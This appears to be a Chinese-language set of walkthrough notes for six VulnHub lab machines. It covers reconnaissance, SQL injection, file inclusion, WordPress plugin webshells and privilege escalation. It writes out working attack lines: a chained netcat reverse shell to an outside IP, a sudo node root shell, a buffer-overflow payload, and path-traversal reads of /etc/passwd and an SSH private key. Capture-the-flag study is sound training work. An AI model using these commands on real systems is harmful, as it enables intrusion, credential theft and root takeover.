vulnhub靶机合集


1. medium_socnet

  1. 扫描发现5000端口的web页面和后台admin页面
  2. python代码执行一个反弹shell获得webshell而且是root权限,发现是在docker容器内部(cat /proc/1/cgroup查看初始进程id号发现有docker证明一定处于docker容器内部)
  3. for i in $(seq 1 10); do ping -c 1 172.17.0.$i;done 扫描内网存活ip
  4. 用venom进行内网穿透将该docker机映射到kai,然后挂上socket5代理,使用proxychains进行代理,就可以使用nmap等工具对内网进行探测
  5. 探测发现内网的172.17.0.1就是192.168.29.128也就是目标主机的内网ip,而172.17.0.2开放了9200端口,运行着有漏洞的服务
  6. searchsploit查找172.17.0.2主机漏洞服务的exp获得该主机root权限,在根目录发现password文件,用获得的密码MD5解密后ssh连接192.168.29.128目标主机
  7. 发现主机linux内核为低版本,采用内核提权(因为目标主机没有gcc命令而exp中有需要使用gcc命令的语句,所以对exp进行修整,具体操作为删减exp中用gcc编译的代码,将需要编译的文件在本地编译成.so后和exp一起传到目标主机)

ps:中等难度,因为处于docker容器内而需要注意对于内网的信息收集和探测

2.easy_cloudantivirus

(vnware中该靶机获取不到ip,需要修改配置文件中的网卡)

  1. 扫描发现开放了22端口和8080端口
  2. 在8080端口的web页面通过sql注入或者爆破进入后台
  3. 在后台利用python反弹shell或者nc串联的方式反弹获取webshell
  4. 信息收集发现.sql文件是sqllite的数据库文件,其中有password,经过对目标主机22端口的爆破(用/etc/passwd下的用户名)发现密码不对
  5. 继续信息收集发现有update_cloudav(拥有SUID权限且所有者是root)可执行文件和它的源码.c文件
  6. 对.c源码进行审计后发现只是简单加了个参数后的程序调用,采用SUID提权(利用命令注入的方式,通过nc串联反弹获取有root权限的shell)

ps:nc 192.168.29.128 4444 | /bin/bash | nc 192.168.29.128 7777nc的串联,适用于nc没有-e参数的场景),简单难度

3. Chronos

(该靶机vnware无法启动,用作者推荐的virtualbox)

  1. 扫描发现开放22、80、8000端口
  2. 访问80端口的web服务,在页面源码获取到一段js代码,查看发现包含了一段URL,域名为chronos.local,修改hosts文件将域名映射到本地主机ip上
  3. 再次进入80端口web页面发现页面有所改变,出现了一段当前系统时间的字符,抓包获得一段用base58加密的参数,将参数解密后发现是可以在linux上执行的命令参数(data '+Today is %A, %B %d, %Y %H:%M:%S.'可以直接执行)
  4. 利用命令注入,提交一段base58加密的反弹shell(用&&或者其他连接符,连接这段命令,这里可以用nc的串联)
  5. 获取到webshell后发现用户imera的目录下有user.txt文件但是现在是www-data权限打不开
  6. 进行代码审计发现chronos其他漏洞,而chronos-v2中使用的组件express-fileupload存在漏洞(原型污染,这个是难点,这篇博客有详细解释和exp),利用该漏洞获得imera用户权限
  7. 查看user.txt发现第一枚flag
  8. sudo -l发现有可以无需密码执行的npm和node命令,利用node命令进行sudo提权sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})',获得root权限进入/root目录查看第二枚flag,root.txt

ps:中等难度,难在找到第二个只在本地上运行的服务漏洞,推荐一个工具网站https://gchq.github.io/CyberChef,主要是magic模块自动解密比较方便

4. AdmX_new

  1. 扫描发现只打开了80端口
  2. 访问80端口的web服务,没有特殊信息,目录扫描发现wordpress相关目录
  3. 进入/wordpress目录发现加载十分缓慢,burp抓包查看发现该页面的源代码中硬编码写死了一些对192.168.159.145上资源的访问(而实际没有这个ip的主机,所以这就是页面加载十分缓慢也样式特效等没有加载出来的原因),可以使用burp的自动替换功能,具体方式为:先进入option->Match and Replace,然后把原本默认的一些规则删除,添加响应头和响应体的替换规则,将192.168.159.145替换为靶机ip,重新访问就会正常加载资源了
  4. 进入wordpress默认后台目录,也就是/wp-admin用默认用户名admin进行密码爆破,得到密码adam14
  5. 进入后台插件管理模块,上传一个自制webshell插件,插件只需要在php代码前按要求加上插件名字的注释,然后压缩成zip格式就可以上传了
  6. 访问插件目录/wordpress/wp-content/plugins/shell.php,获取反弹shell
  7. 查看/etc/passwd发现有wpadmin用户,su wpadmin用网站后台密码adam14切换成该用户,在/home/wpadmin/local.txt获得第一枚flag
  8. sudo -l发现可以root权限运行mysql,sudo mysql -u root -D wordpress -p进入mysql,正常情况下也可以查看wp-config.php文件里面有数据库账号和密码,然后在mysql中运行system /bin/bash即可获取mysql的shell权限也就是root权限,提权成功,查看/root/proof.txt获取第二枚flag

ps:中等难度

5. hard_socnet

  1. 扫描发现开启了22,80,8000端口
  2. 访问80端口发现一个登录页面,注册账号登录后进入个人主页面,在头像图片上传处存在文件上传漏洞,可直接上传php的webshell并通过图片url地址连接
  3. 顶部search栏存在SQL注入漏洞,抓包sqlmap可以跑出admin和其他用户的的账号密码,但是进入别的账号并没有其他有用信息
  4. 第一种提权方式,利用CVE-2021-3493,只需要下载网上的exp编译运行就可以直接提权成root,但是在靶机推出的时候是没有这个CVE漏洞的
  5. 原本的提权方式,利用monitor.py中的漏洞命令执行代码获得socnet的权限
  6. 逆向并动态调试add_record程序,查看汇编源码发现程序中存在自身有漏洞的vuln函数和backdoor函数
  7. payload:
    python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload
    cat payload - > ./add_record

ps:该靶机本来属于高难度靶机,但是因为有CVE-2021-3493的原因可以使提权变得简单,而本来的提权方式正好就是这台靶机的难点,有大量的逆向汇编代码动态调试分析过程,这里就没有细细写明了

6. EvilBox---One

  1. 扫描发现打开的80端口和22端口
  2. 访问80端口的web服务没有任何显示,目录扫描发现/secret目录,对该目录再次进行下一级扫描发现evil.php
  3. 进入页面发现还是没有任何信息显示,ffuf对该url进行参数爆破(普通的param=value的方式失败了,但是用文件包含的思路爆破param=../index.html发现可以成功),发现文件包含漏洞参数为command
  4. 利用文件包含漏洞+php://filter获取到evil.php源码,看到了文件包含的代码
  5. 查看/etc/passwd发现存在mowree用户,且使用ssh mowree@192.168.29.128 -v从返回的信息中发现Authentications that can continue: publickey,password,意思是允许公钥或密码的方式登录
  6. 文件包含?command=../../../../../../../home/mowree/.ssh/authorized_keys,发现存在公钥,信息中说明了允许登录的用户就是mowree,于是?command=../../../../../../../home/mowree/.ssh/id_rsa获取私钥(查看源码并copy以保证私钥格式不乱),私钥本地保存,登录时发现私钥还有一道密码
  7. 利用john对私钥加密密码爆破(运行前用john自带的ssh2john.py脚本将id_rsa转变成john识别的格式),破解出密码为unicorn
  8. ssh登录mowree用户后获得/user.txt第一枚flag,然后发现/etc/passwd文件是所有用户可写的
  9. 直接openssl passwd -1加密一个123,把加密内容直接替换/etc/passwd下的root用户密码位,su后在/root/root.txt获得第二枚flag

ps:中等难度,其中有大量的需要爆破的环节,推荐seclists字典,可以github下载或apt install seclists